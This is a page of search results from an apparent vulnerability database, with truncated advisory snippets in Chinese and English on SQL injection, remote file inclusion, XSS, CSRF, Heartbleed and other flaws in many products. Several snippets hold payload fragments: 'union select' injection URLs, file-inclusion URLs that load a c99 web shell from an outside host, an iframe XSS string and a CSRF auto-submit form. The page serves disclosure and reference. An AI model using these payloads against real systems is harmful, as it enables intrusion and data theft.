56796 matches found
Kiwi CatTools TFTP目录遍历漏洞
Kiwi CatTools是一个管理网络设备如路由器、交换机与防火墙的工具。 CatTools TFTP服务器处理请求时存在输入验证漏洞，远程攻击者可能利用此漏洞遍历服务器目录访问任意文件。 CatTools TFTP服务器没有正确检查请求文件路径中的目录遍历串，允许远程攻击者通过特制的目录遍历序列向TFTP根目录以外的任意位置上传或下载任意文件。 Kiwi CatTools 3.2.0 beta 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kiwisyslog.com/cattools-info.php tftp -i 10.11.12.1...
Windows: StorSvc SvcMoveFileInheritSecurity Arbitrary File Creation EoP(CVE-2018-0826)
Windows: StorSvc SvcMoveFileInheritSecurity Arbitrary File Creation EoP Platform: Windows 10 1709 not tested earlier versions Class: Elevation of Privilege Summary: The SvcMoveFileInheritSecurity RPC method in StorSvc can be used to move an arbitrary file to an arbitrary location resulting in...
Oracle Financial Services Analytical Applications 7.3.5.x / 8.0.x XXE Injection(CVE-2018-2660) / XSS(CVE-2018-2661)
Vendor description: ------------------- "Oracle is the unchallenged leader in Financial Services, with an integrated, best-in-class, end-to-end solution of intelligent software and powerful hardware designed to meet every financial service need." Source:...
源天(Velcro)协同OA /ServiceAction/com.velcro.base.DataAction?sql= SQL语句执行漏洞
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20select%20banner%20from%20sys.v$version%20where%20rownum=1%20from%20dual&isworkflow=trueE 任意SQL语句执行...
HP多个产品OpenSSL TLS/DTLS心跳信息泄漏漏洞
CVE ID:CVE-2014-0160 HP多个产品存在安全漏洞。 HP多个产品所绑定的OpenSSL存在安全漏洞，OpenSSL处理TLS”心跳“扩展存在一个边界错误，允许攻击者利用漏洞获取64k大小的已链接客户端或服务器的内存内容。内存信息可包括私钥，用户名密码等。 0 HP Onboard Administrator 4.x HP AssetManager 9.x HP Diagnostics 9.x HP IT Executive Scorecard 9.x HP LoadRunner 11.x HP LoadRunner 12.x HP OpenView Connect-It...
Nginx proxy_pass模块远程安全漏洞(CVE-2013-2070)
BUGTRAQ ID: 59824 CVECAN ID: CVE-2013-2070 Nginx是HTTP及反向代理服务器，同时也用作邮件代理服务器，由Igor Sysoev编写。 Nginx 1.1.4 proxypass模块存在远程缓冲区溢出安全漏洞。如果HTTP后端返回特制的响应，proxypass模块会将工作进程内存返回给客户端。攻击者可利用此漏洞造成拒绝服务，也可以获取敏感信息。 0 Igor Sysoev nginx 1.1.19 Igor Sysoev nginx 1.1.17 Igor Sysoev nginx 1.0.9 Igor Sysoev nginx 1.0.8...
Zope框架"cmd"参数远程命令执行漏洞
BUGTRAQ ID: 49857 CVE ID: CVE-2011-3587 Zope是一个开源的web应用服务器，主要用python写成 Zope在实现上存在远程命令执行漏洞，非法攻击者可利用此漏洞部署特制的Web请求并以Zope/Plone服务权限执行任意命令 0 Zope 2.13.9 Zope 2.13.8 Zope 2.13 Zope 2.12.19 Zope 2.12 Plone 4.x 厂商补丁： Zope ---- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.zope.org/ Exploit Title: Plone -...
Oracle 10g DBMS_EXPORT_EXTENSION存储过程远程SQL注入漏洞
Oracle是一款大型的商业数据库系统。 Oracle 10g中由SYS用户运行的DBMSEXPORTEXTENSION存储过程存在PL/SQL注入漏洞，允许低权限用户以DBA权限执行任意SQL代码。 Oracle声称已在2006年4月的紧急补丁更新中修复了这个漏洞，但实际上并未修复。 Oracle10g 10.2.0.2.0 临时解决方法： 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁： 删除DBMSEXPORTEXTENSION的PUBLIC执行权限。 厂商补丁： Oracle ------...
DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...
iG Shop 1.4 (page.php) Remote SQL Injection Vulnerability
No description provided by source. Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...
WordPress AdminPanel CSRF/XSS - 0day
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +---------------------------------------------------------------------------+ SaMuschie Research Labs proudly presents . . . | +---------------------------------------------------------------------------+ Application...
多个DuWare产品Detail.ASP SQL注入漏洞
DuWare是基于ASP的WEB应用程序。 DuWare多个产品不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'detail.ASP'脚本对用户提交的'itype'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 DUware DUpaypal Pro 3.1 DUware DUpaypal Pro 3.0 DUware DUpaypal 3.1 DUware DUpaypal 3.0 DUware DUnews 1.1 DUware DUnews 1.0 DUware DUdownload 1.1...
NagiosXI <= 5.4.12 logbook.php SQL injection(CVE-2018-10737)
NagiosXI = 5.4.12 logbook.php SQL injectionCVE-2018-10737 Description A SQL injection issue was discovered in Nagios XI via the admin/logbook.php txtSearch parameter. Affected Version Nagios XI 5.2.x Nagios XI 5.4.x before 5.4.13 Proof of concept http://xxxx/nagiosql/admin/logbook.php postdata:...
MS14-040 Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (CVE-2014-1767)
No description provided by source. Exploit Title: MS14-040 - AFD.SYS Dangling Pointer Date: 2016-02-05 Exploit Author: Rick Larabee Vendor Homepage: www.microsoft.com Version: Windows 7, 32 bit Tested on: Win7 x32 afd.sys - 6.1.7600.16385 ntdll.dll - 6.1.7600.16385 CVE : CVE-2014-1767 Category:...
Django.views.static.serve url跳转漏洞（CVE-2017-7234）
来源：同程安全应急响应中心 作者：Nearg1e@YSRC 来自 @Phithon 的一个漏洞。 问题出现在：django.views.static.serve函数上。该函数可以用来指定web站点的静态文件目录。如: python urlpatterns = urlr'^admin/', admin.site.urls, urlr'^staticp/?P.$', serve, 'documentroot': os.path.joinsettings.BASEDIR, 'staticpath'...
WQCMS 6.0 /admin_wqSwfUpload.aspx 文件上传漏洞
No description provided by source...
Advanced GuestBook <= 2.4.0 (phpBB) File Inclusion Vulnerability
No description provided by source. Title: Advanced GuestBook for phpBB = 2.4.0 Remote File Inclusion Dork: inurl:guestbook.php Advanced GuestBook powered by phpbb Credits: Oo Exploit: http://url/phpbbpath/admin/addentry.php?phpbbrootpath=http://badscript? milw0rm.com 2006-04-28...
Dovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit
No description provided by source. lame Dovecot IMAP 1.0.10 - 1.1rc3 Exploit Here's an exploit for the recent TAB vulnerability in Dovecot. It's nothing special since in the wild there are few to none targets because of the special option which has to be set. see CVE Entry CVE-2008-1218 Exploit...
OpenSSL SSLv2 - Malformed Client Key Remote Buffer Overflow Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/5363/info A buffer-overflow vulnerability has been reported in some versions of OpenSSL. The issue occurs in the handling of the client key value during the negotiation of the SSLv2 protocol. A malicious client may be abl...
FishCart 3.1 upstnt.php cartid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/13499/info FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input. A successful exploit of the SQL-injection issues coul...
PHP-Nuke多个SQL注入漏洞
BUGTRAQ ID: 39922 PHP-Nuke是一个广为流行的网站创建和管理工具，可使用很多数据库软件作为后端，如MySQL、PostgreSQL、mSQL、 Interbase、Sybase等。 PHP-Nuke没有正确地过滤提交给/modules/Journal/savenew.php页面的mood变量，以及提交给/modules /YourAccount/admin/index.php页面的chnguser变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击，完全入侵数据库系统。 PHP-Nuke PHP-Nuke 8.1.35 PHP-Nuke PHP-Nuke 8....
Serv-U FTP服务器TEA解码栈溢出漏洞
BUGTRAQ ID: 37051 Serv-U FTP是一款FTP服务程序。 Serv-U FTP服务器中使用TEA解码算法处理字符串的16进制表示的函数中存在栈溢出漏洞，远程攻击者可以通过提交超长字符串来触发这个溢出，导致执行任意代码。 RhinoSoft Serv-U 9.0.0.5 厂商补丁： RhinoSoft --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.serv-u.com/...
Photofiltre Studio v8.1.1 (.TIF File) Local Buffer Overflow Exploit
No description provided by source. / Photofiltre Studio v8.1.1 .TIF File Buffer Overflow &nb...
SaveWebPortal Page参数远程文件包含漏洞
SaveWebPortal是一款基于PHP的WEB应用程序。 SaveWebPortal不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'page'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 circeOS SaveWebPortal 3.4 http://www.circeos.it/ http://www.example.com/index.php?page=http://www.example2.com/c99.php.txt...
Cyberfolio <= 2.0 RC1 (av) Remote File Include Vulnerabilities
No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV58$2006 ----------------------------------------------------------------------------------------------- ECHOADV58$2006Cyberfolio =2.0 RC1 $av Remote File Inclusion...
Multi-Master Replication Manager for MySQL mmm_agentd Remote Command Injection Vulnerabilities
Summary Multiple exploitable remote command injection vulnerabilities exist in the MySQL Master-Master Replication Manager MMM mmmagentd daemon 2.2.1. mmmagentd commonly runs with root privileges and does not require authentication by default. A specially crafted MMM protocol message can cause a...
Linux af_packet.c race condition (local root) (CVE-2016-8655)
To create AFPACKET sockets you need CAPNETRAW in your network namespace, which can be acquired by unprivileged processes on systems where unprivileged namespaces are enabled Ubuntu, Fedora, etc. It can be triggered from within containers to compromise the host kernel. On Android, processes with...
WordPress Plugin KBoard 2.7 board.php parameters uid SQL injection vulnerability
No description provided by source...
泛微ecology系统所有版本SQL注入（官网为例）二
简要描述： 详细说明： 注入点：/hrm/resource/HrmResourceContactEdit.jsp?isfromtab=true&id=29&isView=1 注入参数为id 需要普通用户登录。 案例一： 在官网用手机号码登陆后进行测试，登陆后访问：...
天融信WEB应用安全网关 /db/wafconfig.db 文件 信息泄露漏洞
0x01 框架概述 天融信WEB应用安全防护系统（简称TopWAF）是天融信公司根据当前的互联网安全形势，并经过多年的技术积累，研制出品的专业级WEB威胁防护类网络安全产品。 TopWAF是天融信WEB安全团队针对“网站型”服务器量身定制的产业化产品，汇聚了天融信公司长期对网站系统及WEB安全领域的研究成果。产品主要从网站系统可用性和信息可靠性的角度出发，满足用户对于WEB威胁防护、WEB性能优化及WEB数据分析等功能的核心需求，致力于为各类网站系统提供全方位的安全防护及业务优化解决方案。 官方主页： http://www.topsec.com.cn/ 0x02 漏洞细节...
EduSoho 最新版两处泄露accessKey和secretKey
简要描述： 可在官网重新绑定，发送云短信，下载安装应用。 详细说明： 出现问题的地方在安装文件/start-install.php false, ; $twig-addGlobal'edushoversion', \Topxia\System::VERSION; $step =intvalempty$GET'step' ? 0 : $GET'step'; $functionName = 'installstep' . $step; $functionName; use Topxia\Service\Common\ServiceKernel; use...
PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
No description provided by source. ?php / ------------------------------------------------------------- PmWiki = 2.2.34 pagelist Remote PHP Code Injection Exploit ------------------------------------------------------------- author...............: Egidio Romano aka EgiX mail.................:...
Acoustica MP3 Audio Mixer 2.471 - (.m3u) Local Heap Overflow PoC
No description provided by source. !/usr/perl/bin -w Foundr By : D3V!L FucK3r MY Email: [email protected] Download : http://www.acoustica.com Tested on : Windos vista sp1 Version : mp3 audio mixer v.2.471 Demo if you Click ×××××× and select file then ...... : perl For a men : Gretz to : Sa^Devl ,...
OpenSSL 1.0.1f TLS Heartbeat Extension - Memory Disclosure (Multiple SSL/TLS versions)
No description provided by source. Exploit Title: OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions Date: 2014-04-09 Exploit Author: Csaba Fitzl Vendor Homepage: http://www.openssl.org/ Software Link: http://www.openssl.org/source/openssl-1.0.1f.tar.gz Version: 1.0.1...
YXcmsApp某处xss导致getshell
简要描述： xss到后台导致getshell一条龙服务不过略鸡肋。 详细说明： YXCMS是一款面向企业的内容管理系统，采用三级缓存，MVC架构以BSD协议开源。 注册了用户以后来到用户管理页面，点击信息发布 - 增加咨询，发现是一个富文本编辑器，kindeditor。不管是什么编辑器，既然给了一个用户这么大的权限，这种情况下很容易出现xss。 随便输入点什么东西，抓包，修改content字段内容，写你的xss代码，什么都行。 好了。管理员在后台就能看到我提交的文章： 然后编辑的话就能触发xss：...
startbbs开源论坛csrf可导致后台添加管理员+修改任意用户密码
简要描述： startbbs某处设计不当导致可csrf添加管理员 详细说明： 经过对startbbs源代码白盒分析，发现了关键部分（添加管理员+修改任意用户密码）的token设计存在缺陷。 为了防止是token随机生成，我还特地去官网再下了几次源码回来。得到的结果都一样； token值如下： token值遍布以下文件当中： 最新下载的源码包： token值对比，依然是一样的： 估计是开发人员偷懒了吧。 既然知道是这么样的结果，对源码分析就不难构造添加管理员的代码了： 访问poc之前，我的用户组是（2）普通会员...
WordPress Akismet插件未明漏洞
WordPress是一款基于WEB的网络日志应用程序。 使用在WordPress的Akismet插件不正确处理用户提交的输入，远程攻击者可以利用漏洞获得敏感信息。 目前没有详细漏洞细节提供。 WordPress 2.1.3 目前没有解决方案提供： http://wordpress.org/...
Joomla! 3.7.5 LDAP injection vulnerability(CVE-2017-14596)
Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection With over 84 million downloads, Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown...
源天(Velcro)协同OA /ServiceAction/com.velcro.base.GetDataAction formid SQL注入漏洞
No description provided by source...
Shop7z /orderpro_del.asp id参数SQL注入漏洞
0x01 框架概述 相关厂商： shop7z 公开时间： 2015-04-23 官方主页: http://www.shop7z.com/ Shop7z网上购物系统是国内优秀的网上开店软件,模板新颖独特,功能强大,可以快速建立自己的网上商城。 0x02 漏洞细节 漏洞文件：orderprodel.asp 问题参数：id TEST:http://www.125309.com/orderprodel.asp?id= sqlmap证明： Place: GET Parameter: id Type: boolean-based blind Title: Microsoft Access...
一采通电子采购系统任意文件上传Getshell #2
简要描述： 一采通电子采购系统任意文件上传Getshell 2 详细说明： 上传点 /Supplier/UploadFile.aspx 以吉利采购平台为例 http://.../Supplier/UploadFile.aspx 上传时抓包，修改两处 1.filename前面加\ 2.hidTrueName的值 shell：http://.../d.asp 漏洞证明： 其他例子还有 http://.../Supplier/UploadFile.aspx http://.../Supplier/UploadFile.aspx .../Supplier/UploadFile.aspx...
Oracle Document Capture empop3.dll Insecure Methods
No description provided by source. Source: http://packetstormsecurity.org/files/view/97868/DSECRG-11-005.txt ActiveX components contain insecure methods. Digital Security Research Group DSecRG Advisory DSECRG-11-005 internal DSECRG-00154 Application: Oracle Document Capture Versions Affected:...
金蝶某软件存在多个安全漏洞（通用管理账号+获得数据库密码+远程代码执行）
简要描述： 金蝶某软件存在多个安全漏洞（通用管理账号+获得数据库密码+远程代码执行） 详细说明： 实际上是2个软件的漏洞，放在一起就不单独发了。金蝶eas存在通用管理账号+获得数据库密码漏洞，金蝶apusic存在远程代码执行漏洞。 下面的信息希望乌云在确认漏洞予以模糊处理，以免对厂商和用户产生不良影响：...
Attachmate Reflection OpenSSL TLS心跳信息泄漏漏洞
CVE ID:CVE-2014-0160 Attachmate Reflection是一款优秀的Unix终端仿真软件。 Attachmate Reflection所绑定的OpenSSL存在安全漏洞，OpenSSL处理TLS”心跳“扩展存在一个边界错误，允许攻击者利用漏洞获取64k大小的已链接客户端或服务器的内存内容。内存信息可包括私钥，用户名密码等。 0 Attachmate Reflection 14.x 目前没有详细解决方案： http://www.attachmate.com/...
Apache Tomcat 5.5.25跨站请求伪造漏洞
CVE ID:CVE-2013-6357 Apache Tomcat是一款开放源码的JSP应用服务器程序。 Apache Tomcat 管理应用程序中存在跨站请求伪造漏洞，攻击者可以通过POST方法操纵应用程序部署。 0 Apache Tomcat 5.5.25 目前厂商暂无提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://tomcat.apache.org/ Undeploy Applications html body onload="javascript:document.forms0.submit" H2CSRF Exploit to...
Siteserver CMS 3.6.3 SQL注入漏洞
SiteServer CMS 是基于微软.NET 平台开发的网站内容管理系统。 Siteserver 3.6.3版本存在SQL注入漏洞，由于ENName参数没有经过任何过滤，攻击者可以利用漏洞执行任意命令。 0 Siteserver CMS 3.6.3 目前厂商暂无提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.siteserver.cn/...
Discuz!NT 3.1.0 多处存在跨站漏洞
北洋贱队（http://bbs.seceye.org）首发 1.在快速搜索区域的“板块”搜索提交跨站测试语句"iframe+Src=http://www.gohack.org， 获得地址：http://localhost/bbs/forumsearch.aspx?q=%22%3E%3Ciframe%20src%3Dhttp%3A//www.gohack.org%3E 2.在论坛板块版面出随意选择一种浏览方式，然后修改或添加加入跨站语句，获得地址：...
Apache mod_proxy模块HTTP分块编码整数溢出漏洞
BUGTRAQ ID: 37966 CVECAN ID: CVE-2010-0010 Apache HTTP Server是一款流行的Web服务器。 Apache服务器的modproxy模块在执行字符类型转换时存在最终可导致堆溢出的整数溢出漏洞。以下是有漏洞的代码段： "./src/modules/proxy/proxyutil.c" long int approxysendfbBUFF f, requestrec r, cachereq c, offt len, int nowrite, int chunked, sizet recvbuffersize ... sizet...